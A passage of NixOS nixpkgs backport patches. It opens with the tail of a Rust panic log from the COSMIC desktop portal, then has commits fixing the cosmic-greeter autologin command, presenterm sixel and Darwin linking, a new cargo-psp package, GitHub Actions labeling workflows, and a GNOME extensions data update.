May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.831166Z  WARN xdg-desktop-portal-cosmic: cosmic_session:    3:     0x56531e8a3ce3 - std::sys::backtrace::BacktraceLock::print::h4a386d2ef944f43e
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.831187Z  WARN xdg-desktop-portal-cosmic: cosmic_session:    4:     0x56531e89ea7a - std::panicking::default_hook::{{closure}}::h61b7aa0fc15f236b
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.831825Z  WARN xdg-desktop-portal-cosmic: cosmic_session:    5:     0x56531e89e986 - std::panicking::default_hook::h2d21379b0b23a14f
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.832324Z  WARN xdg-desktop-portal-cosmic: cosmic_session:    6:     0x56531e89ef8f - std::panicking::rust_panic_with_hook::h100726ba9570b85a
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.832346Z  WARN xdg-desktop-portal-cosmic: cosmic_session:    7:     0x56531e8a442a - std::panicking::begin_panic_handler::{{closure}}::h141712493bfacf0c
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.832762Z  WARN xdg-desktop-portal-cosmic: cosmic_session:    8:     0x56531e8a4049 - std::sys::backtrace::__rust_end_short_backtrace::h891003731531c924
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.833229Z  WARN xdg-desktop-portal-cosmic: cosmic_session:    9:     0x56531e89eb1d - rust_begin_unwind
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.834168Z  WARN xdg-desktop-portal-cosmic: cosmic_session:   10:     0x56531dc22850 - core::panicking::panic_fmt::h1df68d570cb2382b
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.834420Z  WARN xdg-desktop-portal-cosmic: cosmic_session:   11:     0x56531dc22f86 - core::result::unwrap_failed::h846e3c141fa2fc46
May 30 09:32:26 aatman cosmic-session[1221]:   12:     0x56531ef28d26 - xdg_desktop_portal_cosmic::wayland::WaylandHelper::new::h48f2051b910dbe32
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.835752Z  WARN xdg-desktop-portal-cosmic: cosmic_session:   12:     0x56531ef28d26 - xdg_desktop_portal_cosmic::wayland::WaylandHelper::new::h48f2051b910dbe32
May 30 09:32:26 aatman cosmic-session[1221]:   13:     0x56531f156919 - <xdg_desktop_portal_cosmic::app::CosmicPortal as cosmic::app::Application>::init::had2439c596d5d3ad
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.836584Z  WARN xdg-desktop-portal-cosmic: cosmic_session:   13:     0x56531f156919 - <xdg_desktop_portal_cosmic::app::CosmicPortal as cosmic::app::Application>::init::had2439c596d5d3ad
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.836608Z  WARN xdg-desktop-portal-cosmic: cosmic_session:   14:     0x56531f0efc8a - cosmic::app::cosmic::Cosmic<T>::init::h237ea438ab62a4a6
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.837122Z  WARN xdg-desktop-portal-cosmic: cosmic_session:   15:     0x56531f2343fc - <cosmic::executor::single::Executor as iced_futures::executor::Executor>::enter::hb58da647315361c8
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.837736Z  WARN xdg-desktop-portal-cosmic: cosmic_session:   16:     0x56531f27721b - iced_winit::program::run::hf8da91cb177f3cdc
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.837766Z  WARN xdg-desktop-portal-cosmic: cosmic_session:   17:     0x56531ef9367c - iced::program::Program::run_with::h07cb6de026d46c3f
May 30 09:32:26 aatman cosmic-session[1221]:   19:     0x56531f1568af - xdg_desktop_portal_cosmic::app::run::h7170177d90ae0389
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.838448Z  WARN xdg-desktop-portal-cosmic: cosmic_session:   18:     0x56531ef6742e - cosmic::app::run::hd504699db0c811e4
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.838459Z  WARN xdg-desktop-portal-cosmic: cosmic_session:   19:     0x56531f1568af - xdg_desktop_portal_cosmic::app::run::h7170177d90ae0389
May 30 09:32:26 aatman cosmic-session[1221]:   20:     0x56531efd2d97 - xdg_desktop_portal_cosmic::main::{{closure}}::hc5e7222eb3d3d40e
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.839054Z  WARN xdg-desktop-portal-cosmic: cosmic_session:   20:     0x56531efd2d97 - xdg_desktop_portal_cosmic::main::{{closure}}::hc5e7222eb3d3d40e
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.839445Z  WARN xdg-desktop-portal-cosmic: cosmic_session:   21:     0x56531f2f35c8 - tokio::runtime::scheduler::current_thread::Context::enter::hd6c32d98c7a2c763
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.839471Z  WARN xdg-desktop-portal-cosmic: cosmic_session:   22:     0x56531eee89f5 - tokio::runtime::context::scoped::Scoped<T>::set::hbeefc0e3683e97df
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.840043Z  WARN xdg-desktop-portal-cosmic: cosmic_session:   23:     0x56531f2f20d1 - tokio::runtime::scheduler::current_thread::CurrentThread::block_on::h62fe74dc45c2b83b
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.840971Z  WARN xdg-desktop-portal-cosmic: cosmic_session:   24:     0x56531f224371 - tokio::runtime::runtime::Runtime::block_on::hfa5a1859076bed6c
May 30 09:32:26 aatman cosmic-session[1221]:   25:     0x56531efd2a49 - xdg_desktop_portal_cosmic::main::h37b3a492c461a668
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.841689Z  WARN xdg-desktop-portal-cosmic: cosmic_session:   25:     0x56531efd2a49 - xdg_desktop_portal_cosmic::main::h37b3a492c461a668
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.841783Z  WARN xdg-desktop-portal-cosmic: cosmic_session:   26:     0x56531f15e686 - std::sys::backtrace::__rust_begin_short_backtrace::h4a22c4aac199bf89
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.841946Z  WARN xdg-desktop-portal-cosmic: cosmic_session:   27:     0x56531f20de35 - std::rt::lang_start::{{closure}}::hd13242c87ee797d9
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.842593Z  WARN xdg-desktop-portal-cosmic: cosmic_session:   28:     0x56531e87a336 - std::rt::lang_start_internal::he3cad277a2bdfe30
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.843329Z  WARN xdg-desktop-portal-cosmic: cosmic_session:   29:     0x56531efd2ecc - main
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.844213Z  WARN xdg-desktop-portal-cosmic: cosmic_session:   30:     0x7ff514e2a47e - __libc_start_call_main
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.844326Z  WARN xdg-desktop-portal-cosmic: cosmic_session:   31:     0x7ff514e2a539 - __libc_start_main_impl
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.844695Z  WARN xdg-desktop-portal-cosmic: cosmic_session:   32:     0x56531dc9b795 - _start
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.844761Z  WARN xdg-desktop-portal-cosmic: cosmic_session:   33:                0x0 - <unknown>
May 30 09:32:26 aatman cosmic-session[1221]: process ' WAYLAND_DISPLAY=wayland-1 XDG_SESSION_TYPE=wayland WAYLAND_SOCKET=79 PORTAL_WAYLAND_SOCKET=57 /nix/store/0d2a9m7n8bji1q8vrmabj380mwzlvd35-xdg-desktop-portal-cosmic-1.0.0-alpha.7/libexec/xdg-desktop-portal-cosmic ' failed with code 101
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.855339Z ERROR launch_pad: process ' WAYLAND_DISPLAY=wayland-1 XDG_SESSION_TYPE=wayland WAYLAND_SOCKET=79 PORTAL_WAYLAND_SOCKET=57 /nix/store/0d2a9m7n8bji1q8vrmabj380mwzlvd35-xdg-desktop-portal-cosmic-1.0.0-alpha.7/libexec/xdg-desktop-portal-cosmic ' failed with code 101
May 30 09:32:26 aatman cosmic-session[1221]: /nix/store/0d2a9m7n8bji1q8vrmabj380mwzlvd35-xdg-desktop-portal-cosmic-1.0.0-alpha.7/libexec/xdg-desktop-portal-cosmic exited with error 101
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.855496Z ERROR cosmic_session: /nix/store/0d2a9m7n8bji1q8vrmabj380mwzlvd35-xdg-desktop-portal-cosmic-1.0.0-alpha.7/libexec/xdg-desktop-portal-cosmic exited with error 101
May 30 09:32:26 aatman cosmic-session[1221]: sleeping for 3ms before restarting process /nix/store/0d2a9m7n8bji1q8vrmabj380mwzlvd35-xdg-desktop-portal-cosmic-1.0.0-alpha.7/libexec/xdg-desktop-portal-cosmic (restart 0)
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.855749Z  INFO launch_pad: sleeping for 3ms before restarting process /nix/store/0d2a9m7n8bji1q8vrmabj380mwzlvd35-xdg-desktop-portal-cosmic-1.0.0-alpha.7/libexec/xdg-desktop-portal-cosmic (restart 0
```

(cherry picked from commit e3f752e29d07ad0255ae4c3c8e548bc393cc33b0)
---
 nixos/modules/services/display-managers/cosmic-greeter.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/nixos/modules/services/display-managers/cosmic-greeter.nix b/nixos/modules/services/display-managers/cosmic-greeter.nix
index 80ca40e23d99..fa8c6835bd49 100644
--- a/nixos/modules/services/display-managers/cosmic-greeter.nix
+++ b/nixos/modules/services/display-managers/cosmic-greeter.nix
@@ -33,7 +33,7 @@ in
         };
         initial_session = lib.mkIf (cfgAutoLogin.enable && (cfgAutoLogin.user != null)) {
           user = cfgAutoLogin.user;
-          command = ''${lib.getExe' pkgs.coreutils "env"} XCURSOR_THEME="''${XCURSOR_THEME:-Pop}" systemd-cat -t cosmic-session ${lib.getExe pkgs.cosmic-session}'';
+          command = ''${lib.getExe' pkgs.coreutils "env"} XCURSOR_THEME="''${XCURSOR_THEME:-Pop}" systemd-cat -t cosmic-session ${lib.getExe' pkgs.cosmic-session "start-cosmic"}'';
         };
       };
     };

From 1b6855c27d0d3212ab7857096d6939a472fbfcbb Mon Sep 17 00:00:00 2001
From: Pol Dellaiera <pol.dellaiera@protonmail.com>
Date: Thu, 22 May 2025 17:50:48 +0200
Subject: [PATCH 1339/4511] presenterm: fix `sixel` feature support

(cherry picked from commit a0022b5484c22bf4bc76564483c89080dbc303d5)
---
 pkgs/by-name/pr/presenterm/package.nix | 18 ++++++++++++++++++
 1 file changed, 18 insertions(+)

diff --git a/pkgs/by-name/pr/presenterm/package.nix b/pkgs/by-name/pr/presenterm/package.nix
index bd6c01303a95..26d3458399c7 100644
--- a/pkgs/by-name/pr/presenterm/package.nix
+++ b/pkgs/by-name/pr/presenterm/package.nix
@@ -1,7 +1,9 @@
 {
   lib,
+  stdenv,
   rustPlatform,
   fetchFromGitHub,
+  lld,
   libsixel,
   versionCheckHook,
   nix-update-script,
@@ -18,13 +20,29 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-5eDGoY4Yb27ATgBhNjlee6tSgwAKiLuuDMrL96cBpko=";
   };
 
+  nativeBuildInputs = lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) [
+    lld
+  ];
+
   buildInputs = [
     libsixel
   ];
 
+  buildFeatures = [
+    "sixel"
+  ];
+
   useFetchCargoVendor = true;
   cargoHash = "sha256-MOX5QWxN7uEnvm9JU9jRW8Z2D2LMle+H1rOmfMxz100=";
 
+  env = lib.optionalAttrs (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) {
+    NIX_CFLAGS_LINK = "-fuse-ld=lld";
+  };
+
+  checkFeatures = [
+    "sixel"
+  ];
+
   checkFlags = [
     # failed to load .tmpEeeeaQ: No such file or directory (os error 2)
     "--skip=external_snippet"

From 691392b175c37bf9e8e3490098c41fc78254dceb Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Sat, 21 Jun 2025 17:03:11 +0800
Subject: [PATCH 1340/4511] presenterm: fix linking to libsixel on darwin

(cherry picked from commit 481fe0b915f5bf922eeda4613e1711c578bb86c9)
---
 pkgs/by-name/pr/presenterm/package.nix | 17 ++++++++++++++---
 1 file changed, 14 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/pr/presenterm/package.nix b/pkgs/by-name/pr/presenterm/package.nix
index 26d3458399c7..f553f6ebd2c8 100644
--- a/pkgs/by-name/pr/presenterm/package.nix
+++ b/pkgs/by-name/pr/presenterm/package.nix
@@ -3,6 +3,7 @@
   stdenv,
   rustPlatform,
   fetchFromGitHub,
+  makeBinaryWrapper,
   lld,
   libsixel,
   versionCheckHook,
@@ -20,9 +21,13 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-5eDGoY4Yb27ATgBhNjlee6tSgwAKiLuuDMrL96cBpko=";
   };
 
-  nativeBuildInputs = lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) [
-    lld
-  ];
+  nativeBuildInputs =
+    lib.optionals stdenv.hostPlatform.isDarwin [
+      makeBinaryWrapper
+    ]
+    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) [
+      lld
+    ];
 
   buildInputs = [
     libsixel
@@ -48,6 +53,12 @@ rustPlatform.buildRustPackage (finalAttrs: {
     "--skip=external_snippet"
   ];
 
+  # sixel-sys is dynamically linked to libsixel
+  postInstall = lib.optionalString stdenv.hostPlatform.isDarwin ''
+    wrapProgram $out/bin/presenterm \
+      --prefix DYLD_LIBRARY_PATH : "${lib.makeLibraryPath [ libsixel ]}"
+  '';
+
   nativeInstallCheckInputs = [
     versionCheckHook
   ];

From d3b51101a2f7613ec1fd039ae76553fffd169675 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Sat, 21 Jun 2025 17:05:01 +0800
Subject: [PATCH 1341/4511] presenterm: refactor

(cherry picked from commit ee9ecc47d8240bd88dd4cd15de36266460e71ce5)
---
 pkgs/by-name/pr/presenterm/package.nix | 12 +++++++-----
 1 file changed, 7 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/pr/presenterm/package.nix b/pkgs/by-name/pr/presenterm/package.nix
index f553f6ebd2c8..442b1fb89044 100644
--- a/pkgs/by-name/pr/presenterm/package.nix
+++ b/pkgs/by-name/pr/presenterm/package.nix
@@ -9,7 +9,9 @@
   versionCheckHook,
   nix-update-script,
 }:
-
+let
+  inherit (stdenv.hostPlatform) isDarwin isx86_64;
+in
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "presenterm";
   version = "0.13.0";
@@ -22,10 +24,10 @@ rustPlatform.buildRustPackage (finalAttrs: {
   };
 
   nativeBuildInputs =
-    lib.optionals stdenv.hostPlatform.isDarwin [
+    lib.optionals isDarwin [
       makeBinaryWrapper
     ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) [
+    ++ lib.optionals (isDarwin && isx86_64) [
       lld
     ];
 
@@ -40,7 +42,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
   useFetchCargoVendor = true;
   cargoHash = "sha256-MOX5QWxN7uEnvm9JU9jRW8Z2D2LMle+H1rOmfMxz100=";
 
-  env = lib.optionalAttrs (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) {
+  env = lib.optionalAttrs (isDarwin && isx86_64) {
     NIX_CFLAGS_LINK = "-fuse-ld=lld";
   };
 
@@ -54,7 +56,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
   ];
 
   # sixel-sys is dynamically linked to libsixel
-  postInstall = lib.optionalString stdenv.hostPlatform.isDarwin ''
+  postInstall = lib.optionalString isDarwin ''
     wrapProgram $out/bin/presenterm \
       --prefix DYLD_LIBRARY_PATH : "${lib.makeLibraryPath [ libsixel ]}"
   '';

From 4cb7aa1028e6994971ef567f32aa346a2c02409e Mon Sep 17 00:00:00 2001
From: griffi-gh <prasol258@gmail.com>
Date: Sun, 11 May 2025 11:56:16 +0200
Subject: [PATCH 1342/4511] cargo-psp: init at 0.2.8

(cherry picked from commit 574ceced4a31e2d5ac71fea1c6c55a0283f45ee8)
---
 pkgs/by-name/ca/cargo-psp/package.nix | 41 +++++++++++++++++++++++++++
 1 file changed, 41 insertions(+)
 create mode 100644 pkgs/by-name/ca/cargo-psp/package.nix

diff --git a/pkgs/by-name/ca/cargo-psp/package.nix b/pkgs/by-name/ca/cargo-psp/package.nix
new file mode 100644
index 000000000000..03957e7599a3
--- /dev/null
+++ b/pkgs/by-name/ca/cargo-psp/package.nix
@@ -0,0 +1,41 @@
+{
+  lib,
+  fetchCrate,
+  rustPlatform,
+  makeBinaryWrapper,
+  nix-update-script,
+}:
+rustPlatform.buildRustPackage (finalAttrs: {
+  pname = "cargo-psp";
+  version = "0.2.8";
+
+  src = fetchCrate {
+    inherit (finalAttrs) pname version;
+    hash = "sha256-Jud89nYJq4xZn2HudmSA82hOYwItrrTblhIfeqqIqm8=";
+  };
+
+  cargoHash = "sha256-oL2KbhpqvPhtN7hpAuR6a383pPKlW1XuXkoew0ZvPUo=";
+
+  nativeBuildInputs = [
+    makeBinaryWrapper
+  ];
+
+  postInstall = ''
+    wrapProgram "$out/bin/cargo-psp" \
+      --prefix PATH : "$out/bin"
+  '';
+
+  passthru.updateScript = nix-update-script { };
+
+  meta = {
+    description = "Cargo build wrapper for creating Sony PSP executables";
+    homepage = "https://github.com/overdrivenpotato/rust-psp/tree/master/cargo-psp";
+    changelog = "https://github.com/overdrivenpotato/rust-psp/releases/tag/v${finalAttrs.version}";
+    license = lib.licenses.mit;
+    mainProgram = "cargo-psp";
+    platforms = with lib.platforms; linux ++ darwin;
+    maintainers = with lib.maintainers; [
+      griffi-gh
+    ];
+  };
+})

From 42fdf6c64dee993f000a9bca63a07aca96b3e767 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 18 Jun 2025 17:29:44 +0200
Subject: [PATCH 1343/4511] ci/eval/compare: fix rebuild-stdenv labels

Those have not been working since before the migration from OfBorg.
Those `rebuildsByKernel` are an attrset of lists coming from
`groupByKernel` (also see lengthy comment at the top of the file) - thus
we need `lib.elem` instead.

(cherry picked from commit 19ce5d94bc2b2b4f7230595a425c612ad98c992f)
---
 ci/eval/compare/default.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/ci/eval/compare/default.nix b/ci/eval/compare/default.nix
index 8b609cc8f2c4..302a2df90611 100644
--- a/ci/eval/compare/default.nix
+++ b/ci/eval/compare/default.nix
@@ -100,7 +100,7 @@ let
           (getLabels rebuildCountByKernel)
           # Adds "10.rebuild-*-stdenv" label if the "stdenv" attribute was changed
           ++ lib.mapAttrsToList (kernel: _: "10.rebuild-${kernel}-stdenv") (
-            lib.filterAttrs (_: kernelRebuilds: kernelRebuilds ? "stdenv") rebuildsByKernel
+            lib.filterAttrs (_: lib.elem "stdenv") rebuildsByKernel
           )
           # Adds the "11.by: package-maintainer" label if all of the packages directly
           # changed are maintained by the PR's author. (https://github.com/NixOS/ofborg/blob/df400f44502d4a4a80fa283d33f2e55a4e43ee90/ofborg/src/tagger.rs#L83-L88)

From 21584659f5c1f90009047c0b7ca60d57a98406e6 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 18 Jun 2025 18:19:49 +0200
Subject: [PATCH 1344/4511] workflows/labels: fix race condition with
 throttling

When we switched to a scheduled workflow, we also changed these lines to
take the labels directly from the pull request list we iterate over. At
the time it saved us an API request. Meanwhile, we have introduced
throttling to the workflow and this causes a potential race condition:

When the scheduled or manually triggered workflow is kicked off and
empties its reservoir of API requests it might be blocked to wait up
to.. an hour! If this happens, the labels taken from the pull request
list might already be outdated at the time the workflow continues. This
would cause some labels to be reset to their original state, which could
be wrong if, for example, another push has happened in the meantime.

This will have a much bigger impact after the next commit, where *all*
labels are set every time, thus the `before` part must be accurate.

Fetching the current labels right before managing them reduces this risk
significantly.

(cherry picked from commit 9581b0c55bfab9a42fd12dc1cadfb4cdb5289308)
---
 .github/workflows/labels.yml | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 0ca429421891..13dc4d0d7c18 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -186,7 +186,11 @@ jobs:
 
                   // Get all currently set labels that we manage
                   const before =
-                    pull_request.labels.map(({ name }) => name)
+                    (await github.paginate(github.rest.issues.listLabelsOnIssue, {
+                      ...context.repo,
+                      issue_number: pull_request.number
+                    }))
+                    .map(({ name }) => name)
                     .filter(name =>
                       name.startsWith('10.rebuild') ||
                       name == '11.by: package-maintainer' ||

From 78399a24b4703511d4a231d01cbffcdef1553618 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 18 Jun 2025 18:58:45 +0200
Subject: [PATCH 1345/4511] workflows/labels: lower API calls reservoir to 500

First data shows, that we're unlikely to need more than 250 within an
hour of regular activity. Once this is empty, we'll need to wait until
the next hourly refill - thus, we'll rather set this a bit higher to be
on the safe side.

The hourly limit is at 5000 and we peaked around 3500, so far. We'll
certainly have to look into reducing API calls, but this should still
work out for now.

(cherry picked from commit 8e1f8692618c82a3b5c42d46b41c75b066810e66)
---
 .github/workflows/labels.yml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 13dc4d0d7c18..1be1a91cf981 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -72,8 +72,8 @@ jobs:
               maxConcurrent: 1,
               // Hourly limit is at 5000, but other jobs need some, too!
               // https://docs.github.com/en/rest/using-the-rest-api/rate-limits-for-the-rest-api
-              reservoir: 1000,
-              reservoirRefreshAmount: 1000,
+              reservoir: 500,
+              reservoirRefreshAmount: 500,
               reservoirRefreshInterval: 60 * 60 * 1000
             })
             // Pause between mutative requests

From c67dc2d76daca04b5c3e1403cfe41e5a4f62285c Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 20 Jun 2025 20:45:56 +0200
Subject: [PATCH 1346/4511] workflows/pr: run in pull_request context on
 changed labels.yml

When labels.yml is changed the new code is not tested in the PR
directly, yet, because we forgot to add labels.yml to the list of
pull_request files in pr.yml. This lead to one syntax error merged
already.

(cherry picked from commit 155ea15a381bd7720ad6ac13ab683fdd61f804ae)
---
 .github/workflows/pr.yml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml
index 8e92b5aed816..368ede03ffe7 100644
--- a/.github/workflows/pr.yml
+++ b/.github/workflows/pr.yml
@@ -8,6 +8,7 @@ on:
       - .github/workflows/eval.yml
       - .github/workflows/lint.yml
       - .github/workflows/pr.yml
+      - .github/workflows/labels.yml
       - .github/workflows/reviewers.yml # needs eval results from the same event type
   pull_request_target:
 

From 8e0587dd8f428c610060a643c489fae9a2dc6afa Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 20 Jun 2025 21:03:45 +0200
Subject: [PATCH 1347/4511] workflows/labels: fix on older PRs

When we made the switch from eval.yml to pr.yml we adjusted the labels
job as well - but didn't take into account that we also need to deal
with old PRs at the same time.

Here, we fallback to another API request to get a run for eval.yml when
we can't find one for pr.yml.

(cherry picked from commit d00d3190d6ae913d32bbb2d8133da5558a5cbe07)
---
 .github/workflows/labels.yml | 12 +++++++++++-
 1 file changed, 11 insertions(+), 1 deletion(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 1be1a91cf981..3e44f8cdb0a6 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -152,7 +152,17 @@ jobs:
                     status: prEventCondition ? 'in_progress' : 'success',
                     exclude_pull_requests: true,
                     head_sha: pull_request.head.sha
-                  })).data.workflow_runs[0]?.id
+                  })).data.workflow_runs[0]?.id ??
+                    // TODO: Remove this after 2025-09-17, at which point all eval.yml artifacts will have expired.
+                    (await github.rest.actions.listWorkflowRuns({
+                      ...context.repo,
+                      // In older PRs, we need eval.yml instead of pr.yml.
+                      workflow_id: 'eval.yml',
+                      event: 'pull_request_target',
+                      status: 'success',
+                      exclude_pull_requests: true,
+                      head_sha: pull_request.head.sha
+                    })).data.workflow_runs[0]?.id
 
                   // Newer PRs might not have run Eval to completion, yet. We can skip them, because this
                   // job will be run as part of that Eval run anyway.

From bd5833da9fb9bfa23540d9b0e0ef3094590d303d Mon Sep 17 00:00:00 2001
From: NilaTheDragon <nilathedragon@pm.me>
Date: Wed, 28 May 2025 00:06:52 +0200
Subject: [PATCH 1348/4511] gnomeExtensions: auto-update

(cherry picked from commit 66f1e430c189d89bf8b04a96813b069833533f9e)
---
 .../desktops/gnome/extensions/extensions.json | 775 +++++++++++-------
 1 file changed, 461 insertions(+), 314 deletions(-)

diff --git a/pkgs/desktops/gnome/extensions/extensions.json b/pkgs/desktops/gnome/extensions/extensions.json
index 781df8aecf8e..c4b20bc863a3 100644
--- a/pkgs/desktops/gnome/extensions/extensions.json
+++ b/pkgs/desktops/gnome/extensions/extensions.json
@@ -43,8 +43,8 @@
     "44": {"version": "53", "sha256": "18wh0z8pq991i2kcp4a5dpx6m05qansm357k98n258j1q3jxac5m", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZCBhIGNhdGVnb3J5LWJhc2VkIG1lbnUgZm9yIGFwcGxpY2F0aW9ucy5cblRoaXMgZXh0ZW5zaW9uIGlzIHBhcnQgb2YgQ2xhc3NpYyBNb2RlIGFuZCBpcyBvZmZpY2lhbGx5IHN1cHBvcnRlZCBieSBHTk9NRS4gUGxlYXNlIGRvIG5vdCByZXBvcnQgYnVncyB1c2luZyB0aGUgZm9ybSBiZWxvdywgdXNlIEdOT01FJ3MgR2l0TGFiIGluc3RhbmNlIGluc3RlYWQuIiwKICAiZXh0ZW5zaW9uLWlkIjogImFwcHMtbWVudSIsCiAgImdldHRleHQtZG9tYWluIjogImdub21lLXNoZWxsLWV4dGVuc2lvbi1hcHBzLW1lbnUiLAogICJuYW1lIjogIkFwcGxpY2F0aW9ucyBNZW51IiwKICAib3JpZ2luYWwtYXV0aG9ycyI6IFsKICAgICJlMjAwMkBiay5ydSIsCiAgICAiZGViYXJzaGlyQGdub21lLm9yZyIKICBdLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuYXBwcy1tZW51IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogImFwcHMtbWVudUBnbm9tZS1zaGVsbC1leHRlbnNpb25zLmdjYW1wYXguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA1Mwp9"},
     "45": {"version": "56", "sha256": "1k8048dmqyyh3vzamafj90qsn4m98kj7gz5f4hj7z9bqdi38nn6d", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZCBhIGNhdGVnb3J5LWJhc2VkIG1lbnUgZm9yIGFwcGxpY2F0aW9ucy5cblRoaXMgZXh0ZW5zaW9uIGlzIHBhcnQgb2YgQ2xhc3NpYyBNb2RlIGFuZCBpcyBvZmZpY2lhbGx5IHN1cHBvcnRlZCBieSBHTk9NRS4gUGxlYXNlIGRvIG5vdCByZXBvcnQgYnVncyB1c2luZyB0aGUgZm9ybSBiZWxvdywgdXNlIEdOT01FJ3MgR2l0TGFiIGluc3RhbmNlIGluc3RlYWQuIiwKICAiZXh0ZW5zaW9uLWlkIjogImFwcHMtbWVudSIsCiAgImdldHRleHQtZG9tYWluIjogImdub21lLXNoZWxsLWV4dGVuc2lvbi1hcHBzLW1lbnUiLAogICJuYW1lIjogIkFwcGxpY2F0aW9ucyBNZW51IiwKICAib3JpZ2luYWwtYXV0aG9ycyI6IFsKICAgICJlMjAwMkBiay5ydSIsCiAgICAiZGViYXJzaGlyQGdub21lLm9yZyIKICBdLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuYXBwcy1tZW51IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogImFwcHMtbWVudUBnbm9tZS1zaGVsbC1leHRlbnNpb25zLmdjYW1wYXguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA1Ngp9"},
